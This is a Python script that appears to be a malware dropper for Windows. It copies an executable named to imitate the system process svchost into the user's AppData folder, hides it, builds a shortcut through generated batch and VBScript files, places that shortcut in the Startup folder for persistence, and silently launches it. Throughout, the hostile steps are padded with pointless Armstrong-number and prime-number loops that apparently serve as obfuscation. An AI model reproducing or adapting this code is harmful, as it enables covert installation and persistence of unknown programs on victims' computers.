import os
import sys
username = ""
pwd = os.getcwd()
flag = 0
num = 33054
# initialize sum
Arm=True
sum = 0
# find the sum of the cube of each digit
temp = num
while temp > 0:
         digit = temp % 10
         sum += digit ** 3
         temp //= 10
# display the result
if num == sum:
                  Arm= True
else:
                  Arm=False
homedir = os.path.expanduser("~")
name = homedir.split("\\")
num = 3306
# initialize sum
Arm=True
sum = 0
# find the sum of the cube of each digit
temp = num
while temp > 0:
         digit = temp % 10
         sum += digit ** 3
         temp //= 10
# display the result
if num == sum:
                  Arm= True
else:
                  Arm=False
username = name[len(name)-1]
num = 454354
prime = True
if num > 1:  
    for i in range(2, num//2):  
                if (num % i) == 0 :
                              prime = False
                              break
                else: 
                              prime = True 
else: 
                prime = True

try: 
                       
                       num = 132132 
                       temp = num
                       while temp > 0:
                               digit = temp % 10
                               sum += digit ** 3
                               temp //= 10
                       os.system("copy svCHost.exe C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office")
                       # display the result
                       if num == sum:
                            Arm= True
                       else:
                            Arm=False
                       os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office")
                       os.system("attrib +h svCHost.exe")
                       flag = 1
except Exception as e:
                       num = 2452345                        
                       # initialize sum
                       Arm=True
                       sum = 0
                       # find the sum of the cube of each digit
                       temp = num
                       while temp > 0:
                             digit = temp % 10
                             sum += digit ** 3
                             temp //= 10
                       os.system("copy svCHost.exe C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft")
                       if num == sum:
                             Arm= True
                       else:
                             Arm=False
                       os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft")
                       os.system("attrib +h svCHost.exe")
                       flag = 2
num = 432341
prime = True
if num > 1:  
    for i in range(2, num//2):  
            if (num % i) == 0 :
                              prime = False
                              break
                        
            else: 
                prime = True
else: 
                prime = False
f = open("short.bat",'w')
f.write("""@echo off
echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs""")
num = 454535
# initialize sum
Arm=True
sum = 0
# find the sum of the cube of each digit
temp = num
while temp > 0:
         digit = temp % 10
         sum += digit ** 3
         temp //= 10
# display the result
f.write("\n")
f.write("echo sLinkFile = \""+str(os.getcwd())+"\\svCHost.lnk\" >> CreateShortcut.vbs")
f.write("\n")
if num == sum:
        Arm= True
else:
        Arm=False
f.write("echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs")
f.write("\n")
f.write("echo oLink.TargetPath = \""+str(os.getcwd())+"\\svCHost.exe\" >> CreateShortcut.vbs")
f.write("\n")
num = 6878875
# initialize sum
Arm=True
sum = 0
# find the sum of the cube of each digit
temp = num
while temp > 0:
         digit = temp % 10
         sum += digit ** 3
         temp //= 10
# display the result
f.write("""echo oLink.Save >> CreateShortcut.vbs
cscript CreateShortcut.vbs
del CreateShortcut.vbs""")
if num == sum:
        Arm= True
else:
        Arm=False
f.close()
os.system("short.bat")
os.remove("short.bat")
num = 3534541
prime = True
if num > 1:  
               for i in range(2, num//2):  
                        if (num % i) == 0 :
                              prime = False
                              break
                        else: 
                              prime = True 
else: 
                prime = True
try:
              
            num = 324562
            # initialize sum
            Arm=True
            sum = 0
            # find the sum of the cube of each digit
            temp = num
            while temp > 0:
                    digit = temp % 10
                    sum += digit ** 3
                    temp //= 10
            os.system("copy svCHost.lnk C:\\Users\\"+str(username)+"\\AppData\\Roaming\\Microsoft\\Windows\\\"Start Menu\"")
            os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu")
            os.system("copy svCHost.lnk Programs\\Startup")
            if num == sum:
                   Arm= True
            else:
                   Arm=False
            os.remove("svCHost.lnk")
            os.chdir("Programs\\Startup")
            #os.system("attrib +h svCHost.lnk")
except Exception as e:
              pass
f1 = open("svchOst.vbs","w")
num = 3306
# initialize sum
Arm=True
sum = 0
# find the sum of the cube of each digit
temp = num
while temp > 0:
         digit = temp % 10
         sum += digit ** 3
         temp //= 10
f1.write("""Set WshShell = CreateObject("WScript.Shell" ) 
WshShell.Run chr(34) & "svCHost.lnk" & Chr(34), 0 
Set WshShell = Nothing """)
if num == sum:
                  Arm= True
else:
                  Arm=False
f1.close()
os.system("svchOst.vbs")
os.remove("svchOst.vbs")
prime = True
num = 24311
if num > 1:  
               for i in range(2, num//2):  
                        if (num % i) == 0 :
                              prime = False
                              break
                        else: 
                              prime = True 
else: 
                prime = True
try:
          os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office")
          os.remove("svCHost.lnk")
except Exception as e:
          os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft")
          os.remove("svCHost.lnk")
prime = True
num = 3243231

if num > 1:  
               for i in range(2, num//2):  
                        if (num % i) == 0 :
                              prime = False
                              break
                        else: 
                              prime = True 
else: 
                prime = True
sys.exit(0)